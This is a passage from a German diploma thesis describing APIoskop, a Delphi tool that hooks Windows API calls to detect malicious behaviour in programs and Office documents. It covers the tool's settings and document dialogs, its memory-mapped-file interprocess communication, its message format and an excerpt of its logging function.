Abbildung 4.5 zu sehen ist. Zu erreichen ist es über den letzten Button der Toolbutton-Leiste oder auch über das Hauptmenü. Allerdings lassen sich die Einstellungen von APIoskop nur ändern, sofern aktuell keine Überwachung läuft. Dies hat einen technischen Grund und wird in Kapitel 4.4.1.3 erklärt. 48 4.3. Benutzeroberfläche Abbildung 4.5.: Einstellungsfenster Auf der linken Seite des Fensters befindet sich eine Spalte, in der man auswählen kann, welche Einstellungen man verändern möchte. Zum einen hat man einen Eintrag für jeden Funktionsbereich und zum anderen einen Eintrag Sonstiges. Wählt man einen Funktionsbereich an, so erscheint auf der rechten Seite des Einstellungsfensters eine Liste aller Funktionen, die von APIoskop in diesem Funktionsbereich überwacht werden können. Vor jeder dieser Funktionen befindet sich eine Checkbox. Ist diese markiert (erkennbar an einem Haken), so wird die entsprechende Funktion mit in die Überwachung einbezogen. Andernfalls wird deren Aufruf durch APIoskop nicht registriert. Zusätzlich existieren auf jedem Reiter eines Funktionsbereiches noch zwei Buttons, mit denen alle Funktion dieses Funktionsbereiches an- oder abgewählt werden können, und ein Button, der die aktuelle Selektion invertiert. Außerdem befindet sich hinter jedem Funktionsnamen eine farbige Box. Um Funktionsaufrufe einer Funktion farblich in der Ausgabeliste hervorzuheben, kann man über diese Box die gewünschte Farbe dafür auswählen. Dazu muss diese Box lediglich angeklickt werden, woraufhin sich ein Farbauswahldialog öffnet. In der Einstellungssituation wie sie sich in Abbildung 4.5 darstellt, werden beispielsweise alle Dateisystemfunktionen, außer den lesenden und öffnenden Funktionen, überwacht, und Funktionen, die eine Datei löschen, werden rot in der Ausgabeliste hervorgehoben. Wählt man in der linken Auswahlspalte den Eintrag Sonstiges an, so bekommt man alle Einstellungsmöglichkeiten präsentiert, die nicht einen speziellen Funktionsbereich betreffen. Die Option Folgeaufrufe mitprotokollieren legt fest, ob alle Funktionsaufrufe einer Aufrufkette (siehe Kapitel 3.2.2) in der Ausgabeliste erscheinen sollen. Ist diese Option deaktiviert, so werden lediglich die Funktionsaufrufe protokolliert, die tatsächlich im Code des überwachten Prozesses stattfinden und zur Überwachung ausgewählt sind. Ist diese Option jedoch aktiviert, werden alle Funktionsaufrufe einer Aufrufkette protokolliert. Dazu zählen auch die Funktionsaufrufe, die nicht direkt im Quellcode des überwachten Programms auftreten, sondern in den API-Funktionen selber. Sind die 49 Kapitel 4. APIoskop Funktionen, die in einer Aufrufkette vorkommen, jedoch nicht zur Überwachung ausgewählt, so werden sie auch nicht von APIoskop registriert. Außerdem lassen sich auf dem Reiter Sonstiges die Prioritäten zweier Threads einstellen. Zum einen ist dies der Queue-Thread, der Benachrichtigungen der HookLibrary aus einer Queue in die Ausgabeliste einträgt, und zum anderen der MMF-Thread, der dafür sorgt, dass die Benachrichtigungen aus einem Memory Mapped File in die Queue übertragen werden. Weitere Details zu diesen beiden Threads finden sich im Kapitel 4.4.1. Über die Buttons laden... und speichern... besteht die Möglichkeit, die vorgenommenen Einstellungen zu speichern und zu einem späteren Zeitpunkt wiederherzustellen. Auf diese Weise kann man für verschiedene Programme bequem Einstellungen dauerhaft auf einem Datenträger speichern, so dass man diese Einstellungen nicht bei jedem Start einer Überwachung wieder einzeln vornehmen muss. Die hier abgespeicherten Einstellungen lassen sich auch in dem Fenster zur Auswahl von Office-Dokumenten laden. Die Einstellungen werden in einem Textformat mit der Dateiendung .aop (APIoskop Optionen) abgespeichert. Eine Sonderstellung kommt der Sicherungsdatei mit dem Namen Default.aop zu: Beim Programmstart von APIoskop wird diese Datei im selben Verzeichnis, in dem sich auch die Startdatei von APIoskop befindet, gesucht. Wird sie gefunden, so werden die in dieser Datei gespeicherten Einstellungen beim Programmstart übernommen. 4.3.5. Auswahl von Office-Dokumenten Wie bereits in Kapitel 4.1 erwähnt, lässt sich mit APIoskop auch automatisch überprüfen, ob Office-Dokumente schadhaften Code enthalten. Zum Auswählen dieser Dokumente steht ein Auswahldialog bereit, der in Abbildung 4.6 dargstellt ist. Zu erreichen ist dieser Dialog über den zweiten Button (MS Office-Dokumente auswählen...) der ToolbuttonLeiste und über das Hauptmenü. Das Fenster des Dialogs enthält im oberen Bereich eine Liste, in der alle zu überprüfenden Dokumente mit ihrem vollständigen Pfad eingetragen sind. Über den Button Hinzufügen lassen sich der Liste weitere Dokumente hinzufügen, und über den Button Entfernen, wird das in der Liste aktuell markierte Dokument aus der Liste gelöscht. Nach jedem Hinzufügen wird die Liste neu angeordnet, so dass Dokumente desselben Typs untereinander stehen. Dies geschieht aus performanztechnischen Gründen, da die dargestellte Reihenfolge auch die ist, in der die Dokumente später in ihren jeweiligen Anwendungen geöffnet werden. Mit dem Button Optionen laden hat der Benutzer die Möglichkeit, vorher abgespeicherte Konfigurationen zu laden. So kann er bequem die Einstellungen festlegen, die APIoskop bei der Überwachung der Dokumente benutzen soll, ohne dies umständlich über das Einstellungsfenster zu erledigen. Damit nicht bestimmte Einstellungen mit bestimmten Dokumententypen verbunden sind, wurde auf eine feste Zuweisung der Einstellungen pro Dokumententyp verzichtet. Sobald Einstellungen in diesem Auswahldialog geladen werden, gelten diese für alle späteren Überwachungen, also auch für spätere Überwachungen eines einzelnen Prozesses. Möchte man in diesem Fall andere Einstellungen verwenden, so müssen diese wieder geladen oder manuell geändert werden. 50 4.4. Implementierung Abbildung 4.6.: Dialog zum Auswählen von Office-Dokumenten Das einzustellende Zeitintervall legt fest, wie viele Sekunden zwischen dem Öffnen der zu überprüfenden Dokumente vergehen sollen. Diese Zeit entspricht der Dauer einer einzelnen Überwachung. Gemessen wird sie zu den Zeitpunkten, an denen die Dokumente in ihren jeweiligen Anwendungen geöffnet werden, also nicht erst nach dem vollständigen Laden der Dokumente. Aus diesem Grund ist es auch sinnvoll, hier keinen zu kleinen Wert einzustellen, da es ansonsten passieren kann, dass bereits ein neues Dokument überwacht wird, obwohl ein großes Dokument davor noch nicht vollständig von seiner Anwendung geladen wurde. Außerdem lassen sich die Prozessnamen der drei betroffenen Office-Anwendungen angeben. Diese werden benötigt, damit APIoskop weiß, in welche Prozesse die HookLibrary injiziert werden muss. Diese Information ist variabel gehalten, da nicht bekannt ist, wie Microsoft in Zukunft die Startdateien beziehungsweise die Prozessnamen der Office-Anwendungen benennt. 4.4. Implementierung APIoskop wurde in der Programmiersprache Delphi geschrieben, und als Entwicklungsumgebung diente das Borland Developer Studio 2006. Die Wahl der Programmiersprache wurde nicht durch die Aufgabenstellung beeinflusst. Vielmehr ist die Entscheidung für Delphi alleine vor dem Hintergrund persönlicher Vorlieben getroffen worden. Ein Problem, das sich bei der Konstellation aus Delphi und dem API-Hooking ergibt, ist, dass die gesamten Interfaces der Windows API-Funktionen nur in der Programmiersprache C/C++ zur Verfügung stehen, so dass diese nicht in einer anderen Programmiersprache benutzt werden können. Gelöst wurde dies durch die JEDI-API-Konvertierungen [vB]. Durch diese hat man eine Konvertierung der Header-Files des Windows-Platform-SDKs 51 Kapitel 4. APIoskop zur Hand. Das API-Hooking wurde mit einem Paket namens MadCodeHook [Rau] von Mathias Rauen realisiert. Dieses Paket bietet alle wichtigen Funktionen, die zum Injizieren einer Bibliothek und zum Installieren der Hooks notwendig sind. Zur Zeit der Diplomarbeit wurde MadCodeHook in verschiedenen Versionen angeboten. Neben verschiedenen kostenpflichtigen Lizenzen existiert auch eine Freeware-Version. Die Einschränkung der letzteren besteht darin, dass man nur eine Programmbibliothek madCHook.dll erhält, welche die gebotenen Funktionen exportiert. Zur Implementierung von APIoskop wurde diese kostenlose Version gewählt. Aus diesem Grund müssen neben APIoskop auch die überwachten Programme Zugriff auf die Bibliothek madCHook.dll haben. Dies liegt daran, dass die überwachten Programme die HookLibrary laden und in deren Initialisierungsabschnitt Funktionen verwendet werden, welche wiederum die Bibliothek madCHook.dll exportiert. Also muss stets dafür gesorgt sein, dass sich die madCHook.dll im Suchpfad von Windows befindet oder im gleichen Verzeichnis wie die überwachten Programme. 4.4.1. Interprozesskommunikation Sobald die injizierte HookLibrary einen Aufruf einer gehookten Funktion bemerkt, muss sie das Hauptprogramm von APIoskop benachrichtigen, damit dieses den Funktionsaufruf in die Ausgabeliste eintragen kann. Windows ist aber so konzipiert, dass es Prozessen von Anwenderprogrammen nicht ohne weiteres gestattet ist, Speicherbereiche, die von anderen Prozessen reserviert sind, zu verändern. Aus Sicherheitsgründen werden Prozesse strikt voneinander getrennt, um so die Stabilität von Programmen, beziehungsweise des Gesamtsystems, vor Abstürzen und Fehlern anderer Programme zu schützen. Damit zwei verschiedene Prozesse dennoch miteinander kommunizieren können, existieren mehrere Methoden der Interprozesskommunikation (engl.: Inter Process Communication, IPC). Weitere Informationen zur IPC finden sich in einem Buch von Jochen Liedtke [Lie98]. Auch für die von der HookLibrary gesendeten Informationen besteht das Problem, dass diese über Prozessgrenzen hinweg verschickt werden müssen. Dies liegt daran, dass sich die HookLibrary im Prozesskontext eines fremden Prozesses befindet, während APIoskop einen eigenständigen Prozess darstellt. Für die Implementierung von APIoskop wurde eine Methode der IPC gewählt, die mit Memory Mapped Files (MMF) arbeitet. Diese Methode bietet eine hohe Performance bei dem Datenaustausch, ist aber nur anwendbar bei Prozessen, die auf einem System laufen. Dies stellt aber kein Problem dar, da dies bei dem zu überwachenden Prozess und APIoskop der Fall ist. Wie der Name Memory Mapped Files schon andeutet, sind dies Dateien, die im Speicher abgebildet werden. Solch eine Abbildung lässt sich mit der Funktion CreateFileMapping erstellen, und mit der Funktion MapViewOfFile können Prozesse diese in ihren Adressraum projizieren. Wenn nun mehrere Prozesse dieselbe MMF in ihren Adressraum projiziert haben, so können die Prozesse alle lesend und schreibend auf deren Inhalt zugreifen. Auf diese Art können sie miteinander kommunizieren. Allerdings muss darauf geachtet werden, dass diese Zugriffe streng synchronisiert ablaufen, da es 52 4.4. Implementierung sonst zu inkonsistenten Zuständen kommen kann und eine verlässliche Kommunikation nicht gewährleistet ist. Bevor mit APIoskop eine Überwachung gestartet wird, erstellt dieses als erstes ein MMF. Danach wird die HookLibrary in den zu überwachenden Prozess injiziert. Nachdem sie vollständig von diesem Prozess geladen wurde, wird sofort anschließend ihr Initialisierungsabschnitt ausgeführt. Und in diesem veranlasst sie den Prozess dazu, das zuvor erstellte MMF in seinen Adressraum zu projizieren (siehe Kapitel 4.4.2.1). Ab nun ist über dieses MMF eine Kommunikation zwischen der HookLibrary und APIoskop möglich. Zur vollständigen Übermittlung der Benachrichtigungen werden noch weitere Objekte als nur das MMF benötigt. Innerhalb von APIoskop wird ein Puffer benutzt, in dem zuerst alle erhaltenen Nachrichten zwischengespeichert werden. Dieser Puffer ist als Queue implementiert, um die Reihenfolge der empfangenen Benachrichtigungen aufrecht zu erhalten. Das bedeutet, dass er dem Warteschlangen-Prinzip folgt: Neue Benachrichtigungen werden hinten eingefügt, und die Benachrichtigungen, welche in die Ausgabeliste eingetragen werden sollen, werden am vorderen Ende entnommen, wo sich die ältesten empfangenen Benachrichtigungen befinden. Wenn der Inhalt eines MMF durch einen Prozess verändert wurde, so muss dieser Prozess seine Kommunikationspartner auf diese Veränderung hinweisen. Ansonsten würden diese nichts von den Änderungen erfahren und diese im schlechtesten Fall mit eigenen Informationen, die sie übermitteln wollen, überschreiben. Eine oft verwendete Möglichkeit, darauf hinzuweisen, dass neue Daten in dem MMF stehen, ist, dass die beteiligten Prozesse Threads erstellen, welche auf eine Signalisierung eines Events warten. Dieser Event wird gefeuert, sobald ein Prozess eine Änderung am MMF vorgenommen hat. Auch bei APIoskop ist für das Auslesen des MMF ein Thread zuständig. Im weiteren Verlauf dieses Kapitels wird dieser Thread als MMF-Thread bezeichnet und ist in der Abbildung 4.7 leicht bläulich dargestellt. Er wird immer dann aktiv, wenn er durch ein globales Event signalisiert bekommt, dass eine neue Benachrichtigung in das MMF geschrieben wurde. Sobald er diese Benachrichtigung komplett ausgelesen hat, fügt er sie in die Queue von APIoskop ein. Am Ende eines jeden solchen Arbeitsschrittes löst er einen weiteren Event aus. Der Zugriff auf das MMF wird durch einen Mutex synchronisiert. Dies ist wie bereits erwähnt nötig, da ansonsten inkonsistente Zustände erreicht werden können. Jeder Thread, der eine gehookte Funktion aufruft, greift über die HookLibrary auf das MMF zu. Außerdem liest der MMF-Thread das MMF aus. Situationen, in denen beispielsweise ein Thread des überwachten Prozesses das MMF mit neuen Daten füllt, während der MMF-Thread noch nicht alle alten Daten eines vorherigen Funktionsaufrufs ausgelesen hat, werden durch den verwendeten Mutex ausgeschlossen. Auf diese Weise wird ein wechselseitiger Ausschluss der betroffenen Threads aus dem Bereich um das MMF herum sichergestellt. Das Auslesen der Queue übernimmt ein weiterer Thread. Im weiteren Verlauf dieses Kapitels wird dieser Thread als Queue-Thread bezeichnet und ist in der Abbildung 4.7 leicht grünlich dargestellt. Aktiv wird dieser Thread, sobald er durch den vom MMFThread gefeuerten Event darauf hingewiesen wird, dass sich mindestens eine neue Be- 53 Kapitel 4. APIoskop nachrichtigung im Queue befindet. Daraufhin überträgt er solange die Benachrichtigungen aus der Queue in die Ausgabeliste, bis die Queue leer ist. APIoskop Ausgabeliste Queue-Thread Queue OnEvent(2): Schreibe in Ausgabeliste MMF-Thread OnEvent(1): 1) Lese MMF 2) Schreibe in Queue 3) SetEvent(2) Zu überwachender Prozess Schreibe in MMF DLL mit HookFunktionen → SetEvent(1) OnEvent(2) hFunction ObjectName PID InjectionTime pastSec5 Comment .. . Memory Mapped File Mutex Abbildung 4.7.: Interprozesskommunikation zwischen APIoskop und der HookLibrary Der Umweg über die Queue wird deshalb genommen, weil es so möglich ist, in erster Linie dafür zu sorgen, dass das MMF ausgelesen wird. Da dieses lediglich eine Benachrichtigung aufnehmen kann und die HookLibrary immer darauf warten muss, dass das MMF ausgelesen wurde, stellt das MMF bezüglich der Kommunikation einen Flaschenhals dar. Die Queue gestattet es nun, primär dafür zu sorgen, dass das MMF ausgelesen wird, während das Einfügen der Benachrichtigungen in die Ausgabeliste, welches wegen noch durchzuführender Berechnungen und Formatierungen zeitintensiver als das Auslesen des MMFs ist, der Queue-Thread übernimmt. Abbildung 4.7 zeigt ein Schema, das die Interprozesskommunikation zwischen APIoskop und der HookLibrary skizziert. Die gesamte Kommunikation lässt sich in verschiedene Schritte unterteilen: 1. Sobald die HookLibrary einen Aufruf einer gehookten Funktion registriert, wartet sie auf die Freigabe des Mutexes, welcher die Synchronisation des MMFs sicherstellt. 2. Bekommt die HookLibrary Zugriff auf das MMF, schreibt sie die gesammelten Daten in das MMF, löst ein Event Nr. 1 aus, welches dieses Schreiben signalisiert und wartet auf ein Event Nr. 2, das bedeutet, dass die geschriebenen Informationen gelesen wurden. 54 4.4. Implementierung 3. Wird dem MMF-Thread durch das Event Nr. 1 signalisiert, dass neue Daten im MMF stehen, so liest er diese und fügt sie an das Ende der Queue von APIoskop ein. Anschließend feuert der MMF-Thread das Event Nr. 2 ab, das signalisiert, dass er seine Arbeit erledigt hat. 4. Sobald die HookLibrary bemerkt, dass der MMF-Thread das Event Nr. 2 gefeuert hat, verlässt sie die Funktion, die zum Schreiben des MMF zuständig ist und setzt ihre normale Tätigkeit fort. 5. Der Queue-Thread wartet auf die Signalisierung des Events Nr. 2, welche ihn dazu veranlasst, so lange Benachrichtigungselemente aus der Queue zu lesen und in die Ausgabeliste einzufügen, bis die Queue komplett geleert ist. 4.4.1.1. Benachrichtigungsformat Welche Daten die HookLibrary in das MMF schreibt, hängt davon ab, welchen Funktionsaufruf sie registriert hat und dem Hauptprogramm melden möchte. Betrachtet man nur die einzelnen Funktionsbereiche, so ist bereits zu erkennen, dass für die Funktionen aus diesen einzelnen Bereichen unterschiedliche Daten übermittelt werden müssen. So ist beispielsweise bei Netzwerkfunktionen die IP-Adresse des beteiligten Hosts interessant, wohingegen bei Funktionen aus dem Bereich der Registryfunktionen der Name des verwendeten Registryschlüssels eine entscheidende Rolle spielt. Der Einfachheit halber wird für jede Funktionsbenachrichtigung jedoch nur ein Format verwendet. Dieses bietet Platz für alle möglichen Informationen. Eine Übersicht über die Daten, welche mittels dieses Formats übertragen werden können, bietet Tabelle 4.2. In dieser Tabelle sind zwei Datentypen zu finden. Der Typ, der für die Übertragung der Daten genutzt wird, ist der strukturelle Typ TLogData. Hinter jedem Feldnamen sind jeweils der Typ des Feldes und der von diesem Typ benötigte Speicherbedarf angegeben. Ein ShortString besteht aus maximal 255 Zeichen, welche einen Speicherbedarf von je einem Byte haben, und einem Zeichen, in dem die Länge des Strings gespeichert ist. Dieses benötigt ebenfalls ein Byte, so dass im schlechtesten Fall der gesamte String 256 Byte im Speicher belegt. Innerhalb von TLogData befindet sich ein Feld, welches vom Typ TMyTime ist. Der Vollständigkeit halber ist dieser selbst deklarierte Typ ebenfalls in der Tabelle zu finden. Alles in allem beträgt die maximale Größe der übermittelten Nachricht also 1060 Byte. Diese wird allerdings nie erreicht, weil dafür eine gehookte Funktion existieren müsste, für die man alle diese Informationen übermitteln müsste. Da solch eine Funktion aber nicht existiert, ist der Overhead, der durch die Verwendung eines solchen universellen Nachrichtentyps entsteht, vernachlässigbar klein. Die einzelnen Felder des Typs TLogData haben folgende Bedeutungen: • hFunction: Jede gehookte Funktion wird durch einen numerischen Wert repräsentiert. An diesem orientiert sich die Reihenfolge der Ausgabeliste, wenn diese nach Funktionsnamen sortiert werden soll. • ObjectName: In diesem Feld wird für Dateisystemfunktionen ein Dateiname, für Registryfunktionen ein Schlüsselname und für Prozessfunktionen ein Prozessname 55 Kapitel 4. APIoskop TMyTime = record wHour: wMinute: wSecond: wMilliseconds: end; Word; Word; Word; Word; (2 Byte) TLogData = record hFunction: ObjectName: PID: InjectionTime: pastSec5: Comment: PostProcessing: IP: Port: SendRecvedBytes: Address: usedPID: RegValue: RegType: end; Byte; ShortString; Cardinal; TMyTime; Cardinal; ShortString; Byte; Cardinal; Word; Integer; Cardinal; Cardinal; ShortString; ShortString; (1 Byte) (2 Byte) (2 Byte) (2 Byte) P ( = 8 Byte) (max. 256 Byte) (4 Byte) (8 Byte) (4 Byte) (max. 256 Byte) (1 Byte) (4 Byte) (2 Byte) (4 Byte) (4 Byte) (4 Byte) (max. 256 Byte) (max. 256 Byte) P ( = max. 1060 Byte) Tabelle 4.2.: Nachrichtenformat von APIoskop übertragen. • PID: Die Prozess-ID des Prozesses, der den registrierten Funktionsaufruf ausgelöst hat. • InjectionTime: Zeit, zu der die HookLibrary injiziert wurde. • pastSec5: Anzahl der Zehntel Millisekunden seit der Injektion. • Comment: In diesem Feld wird optional ein Kommentar zu dem Funktionsaufruf übertragen. • PostProcessing: Flag, welches dem Hauptprogramm signalisiert, wie es diesen Funktionsaufruf weiter zu bearbeiten hat, bevor er in die Ausgabeliste eingetragen wird. Mögliche Werte: – PPR_SYMTOLOGIC: Bildet symbolische Objektnamen (Inhalt von ObjectName) auf logische Objektnamen ab (z. B.: \Device\HarddiskVolume0\ APIoskop.exe ⇒ C:\APIoskop.exe) – PPR_IPTODN: Bildet aus einer IP-Adresse den Hostnamen. – PPR_ADDDN: Fügt die IP-Adresse einer verwendeten Struktur hinzu, die 56 4.4. Implementierung für die umgekehrte Namensauflösung verantwortlich ist. • IP: In diesem Feld wird ein numerischer Repräsentant einer IP-Adresse übertragen. Dieses Feld wird für alle Netzwerkfunktionen verwendet. • Port: Die Portnummer, welche bei Netzwerkaktivitäten verwendet wird. Wird für fast alle Netzwerkfunktionen verwendet. • SendRecvedBytes: Dieses Feld entspricht der Länge der gesendeten oder empfangenen Daten. Es wird für alle Netzwerkfunktionen verwendet, welche das Senden oder Empfangen von Daten veranlassen. • Address: Hier wird ein Zeiger auf die gesendeten oder empfangenen Daten hinterlegt. Dieses Feld wird ebenfalls für alle Netzwerkfunktionen verwendet, welche das Senden oder Empfangen von Daten veranlassen. • usedPID: Wenn eine Prozessfunktion geloggt wird, steht in diesem Feld die ID des Prozesses, der Ziel beziehungsweise Gegenstand dieser Funktion ist. • RegValue: Bei Registryfunktionen wird in diesem Feld der Wert des Registryschlüssels in Form eines Strings eingetragen. • RegType: Bei Registryfunktionen wird in diesem Feld der Typ des Registryschlüssels in Form eines Strings eingetragen. 4.4.1.2. Die Funktion Log Innerhalb der HookLibrary existiert eine Funktion mit dem Namen Log. Diese wird von den einzelnen Hook-Funktionen verwendet, wenn sie das MMF mit den gesammelten Informationen über einen Funktionsaufruf füllen möchten. Als Argumente erwartet sie die Felder des Typs TLogData, welche in Tabelle 4.2 dargestellt sind. Einzige Ausnahmen bilden die Felder PID und InjectionTime. Da deren Werte für alle Funktionsaufrufe eines Threads, und dies auch zu jeder Zeit der Überwachung, gleich sind, müssen sie der Funktion Log nicht übergeben werden. Festgehalten werden die Werte dieser beiden Felder sofort nach der Injektion der HookLibrary in deren Initialisierungsabschnitt. Jedes Mal, wenn die Funktion Log die ihr übergebenen Informationen in das MMF schreibt, benutzt sie auch diese beiden Werte, um das MMF vollständig zu füllen. Wie bereits erwähnt, besteht die Aufgabe dieser Funktion darin, das MMF mit den gesammelten Informationen über einen Funktionsaufruf zu füllen. Abbildung 4.8 zeigt die wichtigsten Ausschnitte der Funktion, die deren Arbeitsweise verdeutlicht. Für diese Verdeutlichung unwichtige Zeilen fehlen in der Abbildung und sind durch drei Punkte gekennzeichnet. Bevor die Informationen in das MMF geschrieben werden können, wartet die Funktion Log in Zeile 21 zuerst auf die Freigabe des Mutexes, der die Synchronisation des MMF sicherstellt. Ist dieser nicht mehr blockiert, so wird in der Zeile 23 das MMF in den Adressraum projiziert und in den Zeilen 25 bis 39 mit den 14 Feldern des Benachrichtigungsformats (siehe Kapitel 4.4.1.1) gefüllt. Anschließend wird in der Zeile 40 ein Event 57 Kapitel 4. APIoskop 01 function Log(hFunction: Byte; .. . ... 12 RegType: ShortString): Boolean; .. . 14 var LogData = ^TLogData; 15 begin .. . 20 21 22 23 24 25 .. . Result := False; if WaitForSingleObject(hMMFWriteMutex, INFINITE) = WAIT_OBJECT_0 then try LogData := MapViewOfFile(hFileMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0); LogData^.hFunction := hFunction; .. . .. . LogData^.RegType := RegType; SetEvent(hSendEvent); if WaitForSingleObject(hReadDoneEvent, INFINITE) = WAIT_OBJECT_0 then Result := True else Result := False; finally if LogData <> nil then UnmapViewOfFile(LogData); ReleaseMutex(hMMFWriteMutex); end; 39 40 41 42 43 44 45 46 47 48 .. . .. . 51 end; Abbildung 4.8.: Funktion Log gefeuert, welches den MMF-Thread weckt (im Kapitel 4.4.1 als Event Nr. 1 abgekürzt). Anschließend wird so lange gewartet, bis der MMF-Thread das MMF ausgelesen hat. Dies bekommt die Funktion Log durch ein Event signalisiert, welches im Kapitel 4.4.1 als Event Nr. 2 abgekürzt wurde. Am Ende der Funktion wird sichergestellt, dass das MMF wieder aus dem Adressraum ausgeblendet wird und der Mutex um das MMF herum freigegeben wird. 4.4.1.3. Parameterübergabe In den Einstellungen von APIoskop kann der Benutzer, wie erwähnt, festlegen, welche Funktionsaufrufe der Windows API überwacht werden sollen. Diese Informationen werden von der HookLibrary benötigt, damit diese entscheiden kann, welche Hooks zu installieren sind und welche nicht. Ebenso verhält es sich mit der Option, ob Folgeaufrufe innerhalb einer Aufrufkette mitprotokolliert werden sollen. Auch diese Information muss der HookLibrary während ihrer Überwachungsaktivität vorliegen. Für die Übertragung dieser Daten vom Hauptprogramm zur HookLibrary wird, wie auch schon für die Benachrichtigung über Aufrufe gehookter Funktionen, ein Memory Mapped File verwendet. In diesem werden Daten des Formats PParameter hinterlegt, welches in Tabelle 4.3 zu sehen ist. Nachdem der Benutzer über das Einstellungsfenster ausgewählt hat, welche Funktionen er überwachen lassen möchte, generiert APIoskop aus diesen Angaben eine Zei- 58 4.4. Implementierung TParameter = record WhichOneToHook: ShortString; ConsecutivelyCalls: Boolean; DLLPath: ShortString; end; PParameter = ^TParameter; Tabelle 4.3.: Datentyp für die Parameterübergabe chenkette. In dieser steht jedes Zeichen für eine der Funktionen, die gehookt werden können. Die Länge der Zeichenkette entspricht also genau der Anzahl der Funktionen, die APIoskop zu überwachen im Stande ist. Wenn eine Funktion überwacht werden soll, so bekommt das Zeichen an der entsprechenden Stelle der Zeichenkette den Wert 1. Soll die Funktion jedoch nicht überwacht werden, so wird der Inhalt der Zeichenkette an der entsprechenden Stelle auf 0 gesetzt. Bevor eine Überwachung gestartet wird, sei es die Überwachung eines einzelnen Prozesses oder auch die Überwachung von Office-Dokumenten, wird das MMF zur Parameterübergabe erstellt und mit Daten gefüllt. Das Feld WhichOneToHook bekommt den Inhalt der eben erstellten Zeichenkette zugewiesen, das Feld ConsecutivelyCalls entspricht dem aktuellen Status der Option Folgeaufrufe mitprotokollieren des Einstellungsfensters, und in dem Feld DLLPath wird der vollständige Pfad zur HookLibrary übergeben. Die HookLibrary benötigt den Pfad zu sich selber für die Hook-Funktionen, in denen ein neuer Prozess erstellt werden soll. Da APIoskop automatisch auch alle Kindprozesse des Zielprozesses überwacht, muss dafür gesorgt werden, dass auch in diese die HookLibrary injiziert wird. Genau dafür benötigt die HookLibrary den vollständigen Pfad zu sich selber. Ein Beispiel für eine Hook-Funktion, welche einen neuen Prozess erzeugt, ist die Funktion CreateProcessW_Callback, welche in Abbildung 4.12 zu sehen ist. In Zeile 15 und 37 wird hier der Wert des Feldes DLLPath benutzt, um daraus den vollständigen Pfad inklusive Dateinamen der HookLibrary zu generieren. Diese Angabe erwartet die Funktion InjectLibrary als Argument, um dann letztendlich die Injektion durchzuführen. Der Grund für die Verwendung eines zweiten Memory Mapped Files, anstelle des bereits bestehenden, welches zur Übermittlung der Informationen über die Funktionsaufrufe benutzt wird, liegt in der automatischen Überwachung der Kindprozesse. Jedes Mal, wenn ein neuer Prozess erstellt wird und dieser die HookLibrary in seinen Adressraum einblendet, wird deren Initialisierungsabschnitt abgearbeitet. In diesem beschafft sich die HookLibrary dann die Angaben (Parameter), welche sie für ihre Aufgaben benötigt. Würde nun das bereits bestehende MMF für die Parameterübergabe verwendet, so ist nicht sichergestellt, dass sich die Parameter noch in diesem MMF befinden, da sie bereits durch Informationen über einen möglichen Funktionsaufruf überschrieben sein könnten. Dieses zweite MMF beinhaltet die Parameter für die gesamte Dauer einer Überwachung. Wie bereits in Kapitel 4.3.4 angedeutet, lassen sich die Einstellungen von APIoskop 59 Kapitel 4. APIoskop nur ändern, sofern aktuell keine Überwachung stattfindet. Dies liegt an dem Zeitpunkt, zu dem die HookLibrary die Parameter ausliest. Da dies immer in deren Initialisierungsabschnitt geschieht, ändert sich das Verhalten der HookLibrary auch erst dann, wenn dieser abgearbeitet wird. Insofern würde es keinen Sinn machen, während einer laufenden Überwachung beispielsweise andere Funktionen zur Überwachung zu selektieren, weil dies keine Auswirkungen nach sich ziehen würde. 4.4.2. Hook-Funktionen Dieses Kapitel beschäftigt sich mit den Hook-Funktionen der HookLibrary. Zu Beginn dieses Kapitels wird der Initialisierungsabschnitt der HookLibrary vorgestellt. Innerhalb dieses Abschnitts werden die von der HookLibrary benötigten Datenstrukturen initialisiert, und es werden die einzelnen Hook-Funktionen in den Programmablauf des zu überwachenden Programm eingehängt. Der Aufbau ist bei allen Hook-Funktionen sehr ähnlich, und da hier nicht alle HookFunktionen vorgestellt werden können, wird deren Implementierung dem Leser exemplarisch an drei ausgewählten Hook-Funktionen näher gebracht. Im Verlauf dieses Kapitels werden die Hook-Funktionen ReadFile, RecvFrom und CreateProcess gezeigt, die jeweils alle aus einem unterschiedlichen der vier untersuchten Funktionsbereiche stammen. Eine genaue Auflistung aller gehookten Funktionen befindet sich im Anhang dieser Diplomarbeit. Oft stellt sich das Extrahieren der Informationen aus den Argumenten der HookFunktionen als nicht so einfach dar. Viele API-Funktionen (und damit auch die HookFunktionen) bekommen einen Teil ihrer Argumente nur in Form von Handles übergeben. Windows ist so konzipiert, dass intern Datenobjekte, auf und mit denen Windows und Anwendungen arbeiten, durch numerische Identifikatoren gekennzeichnet sind. Diese Identifikatoren nennt man Handles, und sie werden für alle möglichen Datenobjekte verwendet. So existieren beispielsweise FileHandles (Kennzeichnung einer Datei), KeyHandles (Kennzeichnung eines Registryschlüssels) oder auch ProcessHandles (Kennzeichnung eines Prozesses). Eine Aufgabe von APIoskop besteht auch darin, aus diesen Kennzeichnern Informationen zu gewinnen, welche für den Benutzer von APIoskop besser verständlich sind und die dann letztendlich in die Ausgabeliste eingetragen werden. Welche Schritte dazu nötig sind, wird exemplarisch anhand zweier Beispiele in den Kapiteln 4.4.2.5 und 4.4.2.6 gezeigt. 4.4.2.1. Initialisierungsabschnitt der HookLibrary In dem Initialisierungsabschnitt einer Bibliothek kann diese ihre eigenen Datenstrukturen und Objekte initialisieren. Die HookLibrary von APIoskop nutzt diesen Abschnitt unter anderem zum Installieren der einzelnen Hooks. Der Initialisierungsabschnitt ist normalerweise in einer Funktion der Bibliothek untergebracht, welche bei unterschiedlichen Ereignissen vom Windows Loader ausgeführt wird. Als Argument bekommt diese Funktion ein Flag übergeben, das ihr mitteilt, welches Ereignis der Grund für ihren Aufruf war. Die vier möglichen Werte dieses Flags und die ihnen entsprechenden Ereignisse 60 4.4. Implementierung sind die folgenden [Kos02]: 1. DLL_PROCESS_ATTACH: Die Bibliothek wird in den Adressraum eines Prozesses eingeblendet. Dies geschieht beim expliziten Laden der Bibliothek durch die Funktion LoadLibrary(Ex) oder beim Start des Prozesses, wenn die Bibliothek implizit geladen wird. 2. DLL_PROCESS_DETACH: Die Bibliothek wird aus dem Adressraum eines Prozesses ausgeblendet. Dies kann beispielsweise durch einen Aufruf der Funktion FreeLibrary geschehen oder weil der zugehörige Prozess beendet wurde. 3. DLL_THREAD_ATTACH: Der Prozess, welcher die Bibliothek geladen hat, erstellt einen Thread. 4. DLL_THREAD_DETACH: Der Prozess, welcher die Bibliothek geladen hat, stoppt einen Thread. Der für 